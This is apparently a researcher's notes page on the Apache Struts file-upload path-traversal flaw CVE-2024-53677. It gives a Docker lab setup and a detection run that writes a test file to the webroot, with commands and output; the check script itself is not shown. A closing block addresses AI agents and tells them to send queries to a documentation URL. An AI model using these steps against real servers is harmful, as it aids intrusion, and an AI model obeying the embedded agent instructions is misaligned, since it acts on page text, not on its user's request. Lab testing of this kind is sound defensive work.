# Struts - CVE-2024-53677 / S2-067 File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable **paths traversal** and under some circumstances this can lead to uploading a malicious file which can be used to perform **Remote Code Execution**. Vulnerable versions: * Struts 2.0.0 - Struts 2.3.37 (End-of-Life), * Struts 2.5.0 - Struts 2.5.33, and * Struts 6.0.0 - Struts 6.3.0.2 References: * * * *** ## Proof-of-Concept ### Setup test environment ```bash » git clone git@github.com:0xPThree/struts_cve-2024-53677.git » cd struts_cve-2024-53677 » sudo docker build --ulimit nofile=122880:122880 -m 3G -t struts-6.3.0.1 . » sudo docker run -p 8081:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name struts-6.3.0.1 struts-6.3.0.1 ``` ```html » curl http://127.0.0.1:8081/upload.action File upload

Apache Struts 6.3.0.1

Welcome to Apache Struts 6.3.0.1 lab. This application is vulnerable to CVE-2023-50164 and CVE-2024-53677.
``` ### Exploit ```bash » curl http://127.0.0.1:8081/vuln_test.txt HTTP Status 404 – Not Found

HTTP Status 404 – Not Found

Type Status Report

Message The requested resource [/vuln_test.txt] is not available

Description The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.

Apache Tomcat/9.0.98

» python3 check.py -u http://127.0.0.1:8081 --upload_endpoint /upload.action 2025-01-07 12:21:20,822 [INFO] Starting detection process... 2025-01-07 12:21:20,822 [INFO] Starting detection for CVE-2024-53677 (S2-067)... 2025-01-07 12:21:20,823 [INFO] Sending test request to upload endpoint: http://127.0.0.1:8081/upload.action 2025-01-07 12:21:20,838 [INFO] [INFO] File upload request succeeded. 2025-01-07 12:21:20,838 [WARNING] [ALERT] File name overwrite detected. Target may be vulnerable! 2025-01-07 12:21:20,838 [INFO] Detection process completed. » curl http://127.0.0.1:8081/vuln_test.txt CVE-2024-53677 / S2-067 detection test. » sudo docker exec -it struts-6.3.0.1 bash root@b991eecb47b4:/usr/local/tomcat# cd webapps/ROOT root@b991eecb47b4:/usr/local/tomcat/webapps/ROOT# ls -al total 28 drwxr-x--- 5 root root 4096 Jan 7 11:23 . drwxr-xr-x 1 root root 4096 Jan 7 11:18 .. drwxr-x--- 2 root root 4096 Jan 7 11:14 forbidden -rw-r----- 1 root root 226 Jan 7 09:41 index.html drwxr-x--- 3 root root 4096 Jan 7 11:14 META-INF -rw-r----- 1 root root 39 Jan 7 11:23 vuln_test.txt drwxr-x--- 4 root root 4096 Jan 7 11:14 WEB-INF root@b991eecb47b4:/usr/local/tomcat/webapps/ROOT# cat vuln_test.txt CVE-2024-53677 / S2-067 detection test. ``` Check script from: --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xpthree.gitbook.io/notes/exploits-pocs/apache/struts-cve-2024-53677-s2-067.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.